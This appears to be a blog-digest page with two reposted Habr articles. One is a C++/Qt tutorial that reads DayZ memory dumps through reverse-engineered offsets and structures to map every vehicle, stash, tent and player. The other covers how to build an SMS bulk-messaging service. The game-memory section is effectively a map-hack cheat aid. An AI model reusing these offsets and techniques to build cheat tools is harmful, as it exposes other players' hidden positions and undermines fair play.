                  Конвертация адреса проходит простым поиском нужного смещения в массиве (можно было бы применить бинарный поиск, но нет).


                  quint32 MemoryAPI::convertVirtToPhys(const quint32 virt) const
                  {
                      for(auto it = memoryRelations.begin(); it != memoryRelations.end(); ++it)
                      {
                          if((*it).inRange(virt))
                          {
                              const quint32& phBase = (*it).getPhysicalAddress(), vrBase = (*it).getVirtualAddress();
                              //Защита от переполнения
                              if(phBase>vrBase)
                                  return virt + (phBase - vrBase);
                              else
                                  return virt - (vrBase - phBase);
                          }
                      }
                      //Если не находим нужного адреса кидаем исключение
                      throw 1;
                  }

                  Теперь сделаем структуру, в которой будем хранить данные каждого объекта в игре.


                  class EntityData
                  {
                  public:
                      friend class WorldState;
                      //Перечисление всех нужных нам типов объектов
                      enum class type {airplane, car, motorcycle, ship, helicopter, parachute, tank,
                                       tent, stash, fence, ammoBox, campFire, crashSite, animals,
                                       players, zombies, stuff, hedgehog, invalid};
                  
                      type entityType;
                  
                      EntityData();
                      EntityData(QString n, QPointF c, type t = type::stuff);
                  
                      QString shortDescription()const;
                      QString fullDescription()const;
                      QPointF getCoords() const {return coords;}
                  private:
                      //Название объекта
                      QString name;
                      //Координаты объекта
                      QPointF coords;
                      //Дополнительная информация об объекте (для расширяемости)
                      QMap additionalFields;
                  };

                  Далее пишем класс, в котором будем хранить состояние мира (все объекты).


                  class WorldState
                  {
                  public:
                      //Можно загрузиться из непосредственно дампа, и файла с адресами
                      WorldState(const QString& dumpFile, const QString& idxFile);
                      //или из xml-файла с состоянием мира
                      WorldState(const QString& stateFile);
                      //Этот xml-файл, можно сохранить и передать друзьям
                      void saveState(const QString& stateFile);
                      //Ассоциативный массив, в котором будем хранить итераторы на объекты каждого типа (полезная оптимизация)
                      QMap  entityRanges;
                      QString worldName;
                  private:
                      //Массив со всеми объектами
                      QVector  entityArray;
                          //Смещения для получения нужных данных
                      QVector masterOffsets;
                      QVector tableOffsets;
                      quint32          objTableAddress;
                      void handleEntity   (quint32 entityAddress, MemoryAPI& mem);
                          //Инициализации
                      void initRanges();
                      void initOffsets();
                  
                      QDomElement makeElement(QDomDocument& domDoc, const QString& name, const QString& strData = QString());
                  };

                  Здесь происходит вся работа с дампом памяти и загрузка информации о всех объектах.


                  WorldState::WorldState(const QString& dumpFile, const QString& idxFile)
                  {
                      //Инициализируем смещения
                      initOffsets();
                  
                      //Создаём простое диалоговое модальное окно прогресса
                      QProgressDialog progress;
                      progress.setCancelButton(nullptr);
                      progress.setLabelText("Loading dump...");
                      progress.setModal(true);
                      progress.setMinimum(0);
                  
                      progress.setMaximum(masterOffsets.length()+2);
                      progress.show();
                  
                      MemoryAPI mem(dumpFile,idxFile);
                      progress.setValue(1);
                  
                      for(auto mO = masterOffsets.begin(); mO != masterOffsets.end(); ++mO)
                      {
                          quint32 entityTableBasePtr = mem.readPtr(objTableAddress) + (*mO);
                          for(auto tO = tableOffsets.begin(); tO != tableOffsets.end(); ++tO)
                          {
                              qint32 size = mem.readInt(entityTableBasePtr + 0x4 +(*tO));
                  
                              for(qint32 i = 0; i!=size; ++i)
                              {
                                  quint32 fPtr = mem.readPtr(entityTableBasePtr + (*tO));
                                  quint32 entityAddress = mem.readPtr(fPtr + 4 * i);
                  
                                  //Обрабатываем сущность
                                  handleEntity(entityAddress, mem);
                  
                                  //Не забываем обрабатывать события, чтобы не было зависаний графического интерфейса
                                  QCoreApplication::processEvents();
                              }
                          }
                          progress.setValue(progress.value()+1);
                      }
                      initRanges();
                      worldName = "chernarus";
                      progress.setValue(progress.value()+1);
                  }

                  Инициализируем смещения


                  void WorldState::initOffsets()
                  {
                      masterOffsets.append(0x880);
                      masterOffsets.append(0xb24);
                      masterOffsets.append(0xdc8);
                  
                      tableOffsets.append(0x8);
                      tableOffsets.append(0xb0);
                      tableOffsets.append(0x158);
                      tableOffsets.append(0x200);
                  
                      objTableAddress = 0xDAD8C0;
                  }

                  Здесь остановимся поподробнее. Вся информация о мире игры хранится в примерно такой структуре (Основано на дампе, найденном на форуме).


                  Структура мира
                  class World
                  {
                  public:
                  char _0x0000[8];
                      InGameUI* inGameUI; //0x0008 
                  char _0x000C[1520];
                      EntityTablePointer* entityTablePointer; //0x05FC 
                      VariableTableInfo* variableTableInfo; //0x0600 
                  char _0x0604[428];
                      __int32 gameMode; //0x07B0 
                  char _0x07B4[4];
                      float speedMultiplier; //0x07B8 
                  char _0x07BC[196];
                          EntitiesDistributed table1; //0x0880
                  char _0x0B00[36];
                      EntitiesDistributed table2; //0x0B24
                  char _0x0DA4[36];
                      EntitiesDistributed table3; //0x0DC8
                  char _0x1048[849];
                      BYTE artilleryEnabled; //0x1399 
                      BYTE enableItemsDropping; //0x139A 
                  char _0x139B[13];
                      UnitInfo* cameraOn; //0x13A8 
                  char _0x13AC[4];
                      UnitInfo* cplayerOn; //0x13B0 
                      UnitInfo* realPlayer; //0x13B4 
                  char _0x13B8[48];
                      float actualOvercast; //0x13E8 
                      float wantedOvercast; //0x13EC 
                      __int32 nextWeatherChange; //0x13F0 
                      float currentFogLevel; //0x13F4 
                      float fogTarget; //0x13F8 
                  char _0x13FC[32];
                      __int32 weatherTime; //0x141C 
                  char _0x1420[8];
                      BYTE playerManual; //0x1428 
                      BYTE playerSuspended; //0x1429 
                  char _0x142A[30];
                      __int32 N0D09AD19; //0x1448 
                  char _0x144C[92];
                      ArmaString* currentCampaign; //0x14A8 
                  char _0x14AC[4];
                      __int32 N0D09B79F; //0x14B0 
                  char _0x14B4[52];
                      float viewDistanceHard; //0x14E8 
                      float viewDistanceMin; //0x14EC 
                      float grass; //0x14F0 
                  char _0x14F4[36];
                      __int32 initTableCount; //0x1518 
                      __int32 initTableMaxCount; //0x151C 
                  char _0x1520[4];
                  
                  };//Size=0x1524

                  Получить доступ к этой структуре можно по указателю, который лежит по статическому для каждой версии игры смещению (смещение можно загуглить или самому найти через реверс, но это уже совсем другая история). Это смещение мы храним в переменной objTableAddress. В masterOffsets мы храним смещения на 3 таблицы, относительно этой структуры.


                  Таблица с таблицами
                  class EntitiesDistributed
                  {
                  public:
                  char _0x0000[8];
                      Entity* table1; //0x0008
                      __int32 table1Size; //0x000C 
                  char _0x0010[160];
                      Entity* table2; //0x00B0
                      __int32 table2Size; //0x00B4 
                  char _0x00B8[160];
                      Entity* table3; //0x0158
                      __int32 table3Size; //0x015C 
                  char _0x0160[160];
                      Entity* table4; //0x0200
                      __int32 table4Size; //0x0204 
                  char _0x0208[120];
                  
                  };//Size=0x0280

                  В свою очередь каждая таблица хранит в себе ещё по 4 таблицы с длиной (смещения на эти таблицы мы храним в tableOffsets).
                  Теперь мы можем итерироваться по всем объектам в игре. Разберём функцию, которая обрабатывает каждую сущность.


                  void WorldState::handleEntity(quint32 entityAddress, MemoryAPI &mem)
                  {
                      QString objType;
                      QString objName;
                      float coordX;
                      float coordY;
                  
                      try{
                          quint32 obj1 = entityAddress;
                          quint32 pCfgVehicle = mem.readPtr(obj1 + 0x3C);
                          quint32 obj3 = mem.readPtr(pCfgVehicle + 0x30);
                          quint32 pObjType = mem.readPtr(pCfgVehicle + 0x6C);
                  
                          objType = mem.readArmaString(pObjType);
                          objName = mem.readStringAscii(obj3 + 0x8, 25);
                  
                          quint32 pEntityVisualState = mem.readPtr(obj1 + 0x18);
                          coordX = mem.readFloat(pEntityVisualState + 0x28);
                          coordY = mem.readFloat(pEntityVisualState + 0x30);
                      }catch(int a)
                      {
                          qDebug() << "Ошибка доступа к виртуальной памяти.";
                          return;
                      }
                  
                      //Создаём новую сущность
                      EntityData ed(objName, QPointF(coordX, coordY));
                  
                      //Классифицируем сущность по категориям
                      if(objType == "car")
                          ed.entityType = EntityData::type::car;
                      else if(objType == "motorcycle")
                          ed.entityType = EntityData::type::motorcycle;
                      else if(objType == "airplane")
                          ed.entityType = EntityData::type::airplane;
                      else if(objType == "helicopter")
                          ed.entityType = EntityData::type::helicopter;
                      else if(objType == "ship")
                          ed.entityType = EntityData::type::ship;
                      else if(objType == "tank")
                          ed.entityType = EntityData::type::tank;
                      else if(objType == "parachute")
                          ed.entityType = EntityData::type::parachute;
                      else if(objName.indexOf("TentStorage")!=-1)
                          ed.entityType = EntityData::type::tent;
                      else if(objName.indexOf("Stash")!=-1)
                          ed.entityType = EntityData::type::stash;
                      else if(objName.indexOf("WoodenGate")!=-1 || objName.indexOf("WoodenFence")!=-1)
                          ed.entityType = EntityData::type::fence;
                      else if(objName.indexOf("DZ_MedBox")!=-1 || objName.indexOf("DZ_AmmoBox")!=-1)
                          ed.entityType = EntityData::type::ammoBox;
                      else if(objName.indexOf("Hedgehog_DZ")!=-1)
                          ed.entityType = EntityData::type::hedgehog;
                      else if(objName.indexOf("Land_Camp_Fire_DZ")!= -1)
                          ed.entityType = EntityData::type::campFire;
                      else if(objName.indexOf("CrashSite")!= -1)
                          ed.entityType = EntityData::type::crashSite;
                      else if(objName.indexOf("WildBoar")== 0 || objName.indexOf("Rabbit")== 0 ||
                              objName.indexOf("Cow")== 0 || objName.indexOf("Sheep")== 0 ||
                              objName.indexOf("Goat")== 0 || objName.indexOf("Hen")== 0)
                          ed.entityType = EntityData::type::animals;
                      else if(objName.indexOf("Survivor2_DZ")!= -1 || objName.indexOf("Sniper1_DZ")!=-1 ||
                              objName.indexOf("Camo1_DZ")!=-1 || objName.indexOf("Survivor3_DZ")!=-1 ||
                              objName.indexOf("Bandit1_DZ")!= -1 || objName.indexOf("Soldier1_DZ")!= -1)
                          ed.entityType = EntityData::type::players;
                      else
                          ed.entityType = EntityData::type::stuff;
                  
                      entityArray.append(ed);
                  }

                  Каждая сущность представляет собой примерно такую структуру


                  Структура сущности
                  class Entity
                  {
                  public:
                  char _0x0000[24];
                      EntityVisualState* entityVisualState; //0x0018 
                  char _0x001C[32];
                      CfgVehicle* cfgVehicle; //0x003C 
                  char _0x0040[476];
                      EntityInventory* entityInventory; //0x021C 
                  
                  };//Size=0x0220

                  Здесь нам интересны все три указателя.


                  • EntityVisualState — информация о местоположении.
                  • CfgVehicle — характеристики (название, тип, максимальная скорость и т.д.).
                  • EntityInventory — инвентарь (чтение инвентаря не реализовано, т.к. для моих целей это излишне).


                  Из CfgVehicle мы читаем имя и тип.


                  ArmaString* entityName; //0x0030 
                  ArmaString* objectType; //0x006C 

                  EntityVisualState
                  class EntityVisualState
                  {
                  public:
                  char _0x0000[4];
                      D3DXVECTOR3 dimension; //0x0004 
                      D3DXVECTOR3 rotation1; //0x0010 
                      D3DXVECTOR3 direction; //0x001C 
                      D3DXVECTOR3 coordinates; //0x0028 
                  char _0x0034[20];
                      D3DXVECTOR3 velocity; //0x0048 
                      float angularVelocity; //0x0054 
                      float zVelocity2; //0x0058 
                      float Speed; //0x005C 
                      D3DXVECTOR3 acceleration; //0x0060 
                  char _0x006C[16];
                      D3DXVECTOR3 direction2; //0x007C 
                      D3DXVECTOR3 rotation2; //0x0088 
                      D3DXVECTOR3 direction3; //0x0094 
                  char _0x00A0[12];
                      float fuelLevel; //0x00AC 
                  char _0x00B0[92];
                      D3DXVECTOR3 headCoordinates; //0x010C 
                      D3DXVECTOR3 torsoCoordinates; //0x0118 
                  char _0x0124[244];
                      float N047F1D6C; //0x0218 
                  char _0x021C[200];
                  
                  };//Size=0x02E4

                  Из EntityVisualState мы читаем вектор координат, который представляет собой структуру из трёх переменных.


                  D3DXVECTOR3 coordinates;

                  struct D3DXVECTOR3 {
                    FLOAT x;
                    FLOAT y;
                    FLOAT z;
                  };

                  Здесь нам нужны только x и y(на самом деле z), поэтому читаем их так:


                  coordX = mem.readFloat(pEntityVisualState + 0x28);
                  coordY = mem.readFloat(pEntityVisualState + 0x30);

                  Кстати, в карту additionalFields, которая в EntityData, на этом этапе можно записать любую дополнительную информацию. Например, содержимое инвентаря или скорость перемещения.


                  Сейчас мы получили и классифицировали информацию о всех сущностях в игровом мире, теперь её нужно как-то отобразить, для этого я использовал QPainter.


                  Создаём класс виджета для рисования.


                  class InteractiveMap : public QWidget
                  {
                      Q_OBJECT
                  
                  public:
                      InteractiveMap(QWidget* pwgt = nullptr);
                      virtual ~InteractiveMap();
                  
                  protected:
                      virtual void paintEvent(QPaintEvent* pe);
                  
                  private:
                      //Константы масштабирования(на колёсико мыши)
                      const float minScale = 1.0f;
                      const float maxScale = 8.0f;
                      const float scaleStep= 2.0f;
                  
                      void updateScale(const qreal value, const QPointF& dpos);
                      void updateTranslate(const QPointF& value);
                  
                      bool getFilterValue(EntityData::type t);
                      bool getFilterValue(QString t);
                  
                      void mousePressEvent  (QMouseEvent* pe);
                      void mouseMoveEvent   (QMouseEvent* pe);
                      void wheelEvent       (QWheelEvent *pe);
                  
                      void findCloseObjects(QPointF coords);
                      QVector* input;
                  
                      QPainter*   painter;
                      QPixmap*    image;
                      WorldState* worldState;
                  
                      qreal scale;
                      QPointF translate;
                      QPoint startMove;
                  
                      //Кэшированная картинка
                      QPixmap cache;
                  
                      QMutex renderMutex;
                  
                      //Асинхронный поиск объектов, близких к курсору
                      QFutureWatcher closeObjWatcher;
                      QFuture closeObjFuture;
                  
                  public slots:
                      //Загрузка состояния
                      void loadState(QString stateFile);
                      void loadDump(QString dumpFile, QString idxFile);
                  
                      void closeState();
                      void saveState(QString stateFile);
                      void updateCache();
                      void sendCloseObjects();
                  
                  signals:
                      void showCloseObjects(QString str);
                      void saveStateChanged(bool state);
                  };

                  Метки с техникой я рисую поверх картинки с картой. Метки на карте для текущего масштаба я кэширую в QPixmap (дорого рисовать заново несколько сотен или тысяч объектов при каждом сдвиге камеры).


                  void InteractiveMap::paintEvent(QPaintEvent *pe)
                  {
                      renderMutex.lock();
                      painter->begin(this);
                  //////////////////////////////////////////////////
                      QTransform mat;
                      painter->setTransform(mat);
                      painter->scale(scale, scale);
                      painter->translate(translate);
                      painter->drawPixmap(0,0, *image);
                  
                      if(cache.isNull())
                      {
                          //Важно увеличить DPR, иначе метки будут смазаны при сильном увеличении
                          cache = QPixmap(image->size()*4);
                          cache.setDevicePixelRatio(4);
                          cache.fill(Qt::transparent);
                          QPainter cachePaint(&cache);
                          //Бежим по всем типам объектов
                          for(QMap::const_iterator it = worldState->entityRanges.cbegin(); it!=worldState->entityRanges.cend();++it)
                          {
                              //Проверяем нужно ли отображать этот тип
                              if(getFilterValue(it.key()))
                              {
                                  for(QVector::const_iterator i = it.value().start; i!= it.value().end; ++i)
                                  {
                                      float x = i->getCoords().x();
                                      float y = i->getCoords().y();
                  
                                      //Преобразуем координаты по магической формуле
                                      x = (((x) / (15360.0f / 975.0f)));
                                      y = (((15360.0f - y) / (15360.0f / 970.0f)) - 4.0f);
                  
                                      //Рисуем точку
                                      QFont font("Arial");
                                      QPen  pen;
                                      pen.setWidthF(4.0f/scale);
                                      pen.setStyle(Qt::SolidLine);
                                      font.setPointSizeF(qMax(float(8.0f*1.0f/scale),2.0f));
                                      cachePaint.setFont(font);
                                      cachePaint.setPen(pen);
                                      cachePaint.drawPoint(x,y);
                  
                                      //Рисуем название объекта, если нужно
                                      if(getFilterValue(QString("name")))
                                          cachePaint.drawText(x,y,i->shortDescription());
                  
                                  }
                              }
                          }
                      }
                      painter->drawPixmap(0,0,cache);
                  //////////////////////////////////////////////////
                      painter->end();
                      renderMutex.unlock();
                  }

                  Для выбора типов сущностей, которые нужно отображать и других настроек, я использую QCheckBox-ы на боковой панели (их реализацию можно будет глянуть на гитхабе). Для связи отрисовки с настройками, я сначала использовал голый QSettings, но оказалось, что он не кэширует настройки в памяти, а напрямую работает с реестром, поэтому мне пришлось написать обёрточный синглтон с кэшем, который также при обновлении параметров посылает сигнал на перерисовку.


                  class SettingsManager : public QObject
                  {
                      Q_OBJECT
                  public:
                      SettingsManager();
                      ~SettingsManager();
                      static SettingsManager& instance();
                      QVariant value(const QString &key, const QVariant &defaultValue = QVariant());
                      void setValue(const QString &key, const QVariant &value);
                  
                      SettingsManager(SettingsManager const&) = delete;
                      SettingsManager& operator= (SettingsManager const&) = delete;
                  private:
                      QMap data;
                      QSettings settings;
                  signals:
                      void updateMap();
                  };

                  Для удобного просмотра карты я реализовал масштабирование на курсор (на колёсико мыши) и сдвиг (с зажатым лкм-ом). Ещё одна важная фича — просмотр полных характеристик и игровых координат сущностей (при нажатии скм в район нужных объектов).


                  //Устанавливаем новый масштаб
                  void InteractiveMap::updateScale(qreal value, const QPointF& dpos)
                  {
                      qreal newScale = scale * value;
                      if(newScale >= minScale && newScale <= maxScale)
                      {
                          scale = newScale;
                          //Добавляем смещение для масштабирования в точку курсора
                          translate += dpos/scale;
                          updateCache();
                      }
                  }
                  
                  //Устанавливаем новое смещение
                  void InteractiveMap::updateTranslate(const QPointF& value)
                  {
                      QPointF newV = translate + (value * 1/scale);
                      translate = newV;
                      update();
                  }
                  
                  //Обработка нажатия кнопок мыши
                  void InteractiveMap::mousePressEvent(QMouseEvent *pe)
                  {
                      //Сдвиг при зажатии лкм
                      if(pe->buttons() & Qt::LeftButton)
                          startMove = pe->pos();
                      //Поиск близких к курсору объектов на скм
                      else if(pe->buttons() & Qt::MidButton)
                      {
                          if(worldState)
                          {
                              //Определяем координаты на карте, с учётом масштаба
                              QPointF pos = pe->pos()/scale - translate;
                              if(pos.x() >= 0.0f && pos.x() <= image->width() && pos.y() >= 0.0f && pos.y() <= image->height())
                              {
                                  //Переводим координаты во внутренние игровые
                                  pos.rx() = pos.x() * (15360.0f / 975.0f);
                                  pos.ry() = -((15360.0f/970.0f)*(pos.y()+4.0f)-15360.0f);
                                  //Вызываем асинхронный поиск
                                  findCloseObjects(pos);
                              }
                          }
                  
                      }
                  }
                  
                  void InteractiveMap::mouseMoveEvent(QMouseEvent *pe)
                  {
                      //Сдвиг при зажатии лкм
                      if(pe->buttons() & Qt::LeftButton)
                      {
                          updateTranslate(pe->pos() - startMove);
                          startMove = pe->pos();
                      }
                  }
                  
                  void InteractiveMap::wheelEvent(QWheelEvent *pe)
                  {
                      //Обработка масштабирования
                      float dScale = (pe->angleDelta().y() < 0) ? 1/scaleStep : scaleStep;
                  
                      QPointF nPos = pe->pos() * (dScale);
                      QPointF dPos = pe->pos() - nPos;
                  
                      updateScale(dScale,dPos);
                  }

                  Просмотр характеристик реализован с помощью фреймворка QtConcurrent, посредством модели MapReduce.


                  //Reduce функция
                  void addToAnswer(QString& result, const QString& interm)
                  {
                      if(!interm.isEmpty())
                          result += interm;
                  }
                  
                  void InteractiveMap::findCloseObjects(QPointF coords)
                  {
                      if(!closeObjWatcher.isRunning())
                      {
                          //Собираем входные данные
                          input = new QVector;
                          for(QMap::iterator it = worldState->entityRanges.begin(); it!=worldState->entityRanges.end();++it)
                          {
                              if(getFilterValue(it.key()))
                              {
                                  //Создаём входной объект
                                  CloseObjects obj(&it.value(), coords);
                                  input->append(obj);
                              }
                          }
                          closeObjFuture = QtConcurrent::mappedReduced(*input, &CloseObjects::findCloseObjects, addToAnswer);
                          //После завершения вычислений посылаем сигнал
                          connect(&closeObjWatcher, &QFutureWatcher::finished, this, &InteractiveMap::sendCloseObjects);
                          //Запускаем вычисления
                          closeObjWatcher.setFuture(closeObjFuture);
                      }
                  }
                  
                  void InteractiveMap::sendCloseObjects()
                  {
                      //Отправляем результаты для отображения
                      emit showCloseObjects(closeObjWatcher.result());
                      //Не забываем очистить входной массив
                      delete input;
                      input = nullptr;
                  }

                  Входной класс состоит из указателя на категорию сущностей и точки для поиска.


                  class CloseObjects
                  {
                  public:
                      CloseObjects() {}
                      CloseObjects(EntityRange *r, QPointF p): range(r), coords(p) {}
                      QString findCloseObjects() const;
                  private:
                      EntityRange*    range;
                      QPointF         coords;
                  };

                  В Map функции, мы проходим по всем объектам в категории, если сущность находится в константном радиусе от позиции курсора, то возвращаем полное описание объекта (название + дополнительные поля) и игровые координаты.


                  QString CloseObjects::findCloseObjects() const
                  {
                      QString result;
                      QTextStream stream(&result);
                      //Устанавливаем точность в выводе до 2 цифр после запятой
                      stream.setRealNumberNotation(QTextStream::FixedNotation);
                      stream.setRealNumberPrecision(2);
                      for(QVector::const_iterator it = range->start; it != range->end; ++it)
                      {
                          float len = qSqrt(qPow((it->getCoords().x() - coords.x()),2) + qPow((it->getCoords().y() - coords.y()),2));
                          if(len <= 350)
                          {
                              stream << it->fullDescription() << "\n" << QVariant(it->getCoords().x()/100).toFloat() << " " << QVariant((15360 - it->getCoords().y())/100).toFloat() << "\n";
                          }
                      }
                      return result;
                  }

                  На этом я заканчиваю свой рассказ. Кому не трудно, гляньте код, укажите на возможные косяки.
                  Заинтересованные могут добавить чтение дополнительных характеристик объектов и кинуть pull-request.


                  Ссылки:


                  Original source: habrahabr.ru (comments, light).

                  https://habrahabr.ru/post/338734/


                  Метки:  

                  Дом для SMS Или что такое сервис смс-рассылки и как с ним бороться

                  Вторник, 26 Сентября 2017 г. 13:34 + в цитатник
                  ussr сегодня в 13:34 Разработка

                  Дом для SMS Или что такое сервис смс-рассылки и как с ним бороться

                    ""

                    Дом для SMS.
                    Или что такое сервис смс-рассылки и как с ним бороться



                    Вступление
                    Несмотря на то что СМС пророчат скорую смерть, в связи с приходом WhatsApp’ов и прочих интернет-приложений, она таки еще далековато. Идет не спеша и будет идти еще лет, эдак, 10. И дойдет она только тогда, когда интернет в мобильных устройствах будет у 99% населения земного шара и будет работать без сна и отдыха 7/24/365 (а иногда и 366). Поэтому еще есть смысл об этом говорить, писать и читать.
                    И речь здесь пойдет о том, как построить такую систему, в которой смскам будет комфортно жить и работать.
                    Система эта предназначена для работы на уровне агрегатора, коллектора (в хорошем смысле этого слова. Не путать с долговыми коллекторами!).
                    По сути, даже не важно рассылка чего планируется, SMS или почтовых писем, все подобные системы похожи. Можно брать за основу одну и строить другую, со своими целями и задачами.
                    В данной статье речь пойдет о тех трудностях, которые обязательно будут встречаться по ходу строительства этого «Дома».

                    Фундамент


                    Он, как обычно, состоит из «железа» и некоторого набора несамописного программного обеспечения.
                    Всем, конечно, хочется подешевле, побыстрее и покачественнее, но, жизнь показывает, можно выбрать из этого списка желаний только два пункта.
                    Исходя из подешевле и побыстрее спокойно можно взять Linux/Unix сервера, БД MySQL или ее клоны и Perl (который и ставить уже не придется). Для покачественнее надо смотреть уже в сторону Oracl’а.
                    Серверов надо, как минимум, 3 штуки: БД, ядро системы, интерфейсы (административный, клиентский). Этот минимум лишь позволит системе работать. Если будет все “в одном флаконе”, то не ждите от системы ни стабильности, ни скорости. В идеале, надо, кроме этих 3-х, иметь еще сервер архивов (при хорошем трафике объемы будут не маленькие, держать все устаревшие данные лучше отдельно от оперативной БД), сервер статистики, север мониторинга.
                    БД сразу съест оперативки гигов эдак 10, не меньше, и диска от 1 Тбайта (причем, SAS или SSD. SATA не подойдет). Это из расчета на 500 тыс СМС/сутки. Ядру же столько диска не надо, разве что на логи, хватит и 200Г, и оперативки раза в 2 меньше чем БД. Если предполагается хранить всю историю рассылок за все время, то надо рассчитывать дисковое место и на эти данные, а это тоже около 200 Гб/год.
                    “Три звездочки, четыре звездочки, но, лучше конечно, пять звездочек…”. Речь, конечно, не о коньяке, а об отказоустойчивости. Пять 9-ток — необходимый уровень для работы, например, с банковским сектором и с транзакционным трафиком. Иначе — как позволит совесть и кошелек. Вообще, вопрос отказоустойчивости серверов, сетевых шлюзов, выбора площадок и т.п. — это отдельная тема, которая в интернете развита довольно хорошо и которая довольно хорошо опустошает карманы и кошельки. Здесь надо искать компромисс, и у каждого он свой.

                    Стены, комнаты, коридоры


                    Распределяем пространство на зоны…
                    Какими коридорами пойдет СМС, войдя в дом? Прежде чем попасть к боссу-оператору (читать — абоненту-получателю), оно должно пройти следующие инстанции:
                    Добро пожаловать!
                    Или посторонним вход воспрещён!

                    Открываем дверь — коннект, пришел клиент с СМСками.
                    Основным протоколом до сих пор остается SMPP, версии 3.4, хотя уже давно существует 5-я. Но, независимо от версии, есть большая проблема с безопасностью — логины и пароли идут в открытом виде. Т.е., при желании, можно без особого труда их добыть из сетевого трафика со всеми вытекающими…Поэтому надо позаботиться и об этом, завернув SMPP-трафик в какой-нибудь зашифрованный туннель. Вариантов масса, на любой вкус (гуглим, выбираем).
                    Не все клиенты поддерживают туннели, поэтому приходится оставлять и прямое соединение.
                    Кроме SMPP, существуют и другие варианты для клиентов — HTTP, SOAP и пр. Они уже сами по себе могут быть с поддержкой SSL, но тут нет стандартов. Каждый агрегатор придумывает свой формат обмена данными, как правило, не совместимый с остальными, что клиентам, конечно, не нравится. Хотя, с другой стороны, если вдруг захотят перейти к другому поставщику, то столкнутся с проблемой поиска программиста, который писал и/или будет писать клиентскую часть под другой формат. Такая заподлянка )
                    Далее — авторизация. Тут ничего интересного нет, кроме одной рекомендации. Многие проверяют баланс счета клиента и не пускают если баланс пуст. Мое мнение — пускать всегда и пусть клиент заливает свои смски в базу. Просто не надо отправлять их дальше пока не заплатит, если работает по предоплате (об этом потом будет подробнее). Таким образом вы покажете, что всегда рады видеть клиента и процесс проще продолжить, когда уже все подготовлено. После приема такого трафика можно известить клиента об отсутствии необходимых денег путем отправки ему статусов сообщений с соответствующим кодом ошибки.
                    Если есть время, желание и навыки работы с различным ПО, то стоит обратить внимание на вопрос интеграции потусторонних программ с нашей платформой. Тем более, что на данный момент уже существуют модули, например 1С, позволяющие отправлять сообщения через различных агрегаторов.

                    Считалочка.
                    Или раз, два, три, четыре, пять.


                    Каждое поступившее сообщение должно, естественно, иметь уникальный идентификатор. Используются для этого, как правило, цифровые, хотя можно и буквенно-цифровые.
                    Часто, в качестве такого идентификатора, берут значение auto_increment при вставке в БД. Это простой вариант, но не лучший.
                    А лучший — это генерация своего ID средствами скрипта-приемника. Что это дает? Во-первых, появляется возможность записывать смски в БД пачками, а не по одной на запрос — скорость увеличивается в разы. Во-вторых, если настроена репликация баз по схеме мастер-мастер, то, скорее всего, идентификаторы будут идти через 1 и более, в зависимости от количества реплик (как-то некрасиво). В-третьих, идентификатор может нести больше информации чем просто порядковый номер, что бывает иногда полезно…
                    Я, в свое время, использовал 20-ти значный ID в составе которого было UNIX-время, порядковый номер в секунде (сразу видна скорость приема), идентификатор процесса принимающего скрипта и порядковый номер экземпляра системы, в случае использования дублирующих приемников.

                    Разборки.
                    Или что мы знаем об SMS.



                    А знать нам надо не мало. Прежде чем отправить смс абоненту надо определить следующее:
                    Страну, регион, оператора, временную зону получателя.
                    Это все узнаем по номеру абонента. Для этого надо запастись базой DEF-кодов (https://www.rossvyaz.ru/docs/articles/DEF-9x.html), базой миграции номеров между операторами (MNP, www.zniis.ru/bdpn/check), данными по регионам и часовым поясам. Кроме того, информация в этих базах обновляется несколько раз в сутки — это тоже надо учесть при разработке системы.
                    Знать какой часовой пояс необходимо для отправки абоненту СМС в его время бодрствования. Вряд ли кому-то понравится если сообщение о какой-нибудь акции придет часа в 3 ночи по местному времени.
                    Тип трафика. Основных 3 типа:
                    • Балк — массовые рассылки рекламного характера. Такой трафик характеризуется низким процентом дошедших до адресатов СМС. Не критичен к скорости прохождения сообщений, но зато важно учитывать часовой пояс абонента.
                    • Транзакционный — коды подтверждений финансовых операций и другие подобные сообщения. Полная противоположность балк-трафику. Сообщения должны доходить быстро и надежно, и не важно 3 часа ночи или 9 вечера.
                    • Общий — все остальное. По характеристикам — нечто среднее между первыми двумя типами.
                    • Тестовый. Это особый тип трафика. Полезен, как правило, для новеньких клиентов, которые настраивают свою систему. Или если нам самим надо провести анализ работы системы, при этом не тратя деньги на отправку реальных СМС.

                    Тип трафика, в последнее время, определяется шаблонами текста сообщений, которые заранее согласовываются с клиентом и оператором. Это наиболее надежный способ определения, который, к тому же, позволяет избежать спам-рассылок (преследуется и жестоко наказывается). Можно, конечно, договориться с клиентом и распределять типы трафика, например, по учетным записям в системе, или по именам отправителей, но далеко не все клиенты соблюдают договоренности.
                    Возможно, клиенту запрещено использовать какой-то тип трафика, поэтому нет смысла тратить силы и время процессоров на дальнейшую обработку.
                    Количество частей (сегментов), из которых состоит сообщение.
                    Спецификация SMS позволяет отправлять только 160 символов в 7-ми битной кодировке GSM 03.38 или 70 символов в юникоде UCS-2. Более длинные СМС разбиваются перед отправкой на несколько частей и, затем, собираются в телефоне абонента в единое сообщение. Также надо учитывать, что если СМС длиннее одной части, то кол-во символов в каждой части будет уже 153 (7 bit GSM) / 67 (UCS-2).
                    Тарификация везде и всюду осуществляется именно посегментно.
                    Корректность текста сообщения.
                    По сути, это проверка на запрещенные слова и на спам.
                    Спам-фильтр — это непростая и отдельная тема, поэтому пока только Черный Список отдельных слов и фраз.
                    Этот список должен применяться к конкретному клиенту и/или для всех. Должен содержать как конкретные слова/фразы, так и шаблоны, например, в виде регулярных выражений.
                    Также надо учитывать, что некоторые хитрецы составляют слова из смеси цифр, латинских и кириллических символов, чтобы обойти этот фильтр. Если видим «микс», то сразу рубим, иначе можно схватить штраф от оператора. С такими клиентами лучше не связываться. Как показывает практика, головной боли от них больше чем денег.
                    Дубликат.
                    Если вдруг случилось какое-то несчастье, и клиент начал нещадно долбить наш приемничек одними и теми же смсками, то можно все это честно пропустить, доставить тыщу смс абоненту, отчитаться об этом и списать кругленькую сумму со счета клиента. Но вряд ли кто-то обрадуется.
                    Поэтому так делать не будем, а сделаем настроечку, привязав ее к аккаунту клиента, типу трафика, шаблону текста (если есть) и к имени отправителя. И будем оперативно проверять сколько таких СМС уже приняли за сутки и сколько еще можно принять. Остальное аккуратно складываем в БД, можно в отдельную таблицу чтоб не мусорить, и ждем что скажет на это клиент и решить дальнейшую судьбу этих дублей.
                    Группа рассылки.
                    Часто возникает необходимость группировать партию СМСок и присваивать этой группе название. Как правило, это надо клиенту, у которого нет своего интерфейса, но который очень любопытный и ему надо знать как можно больше.
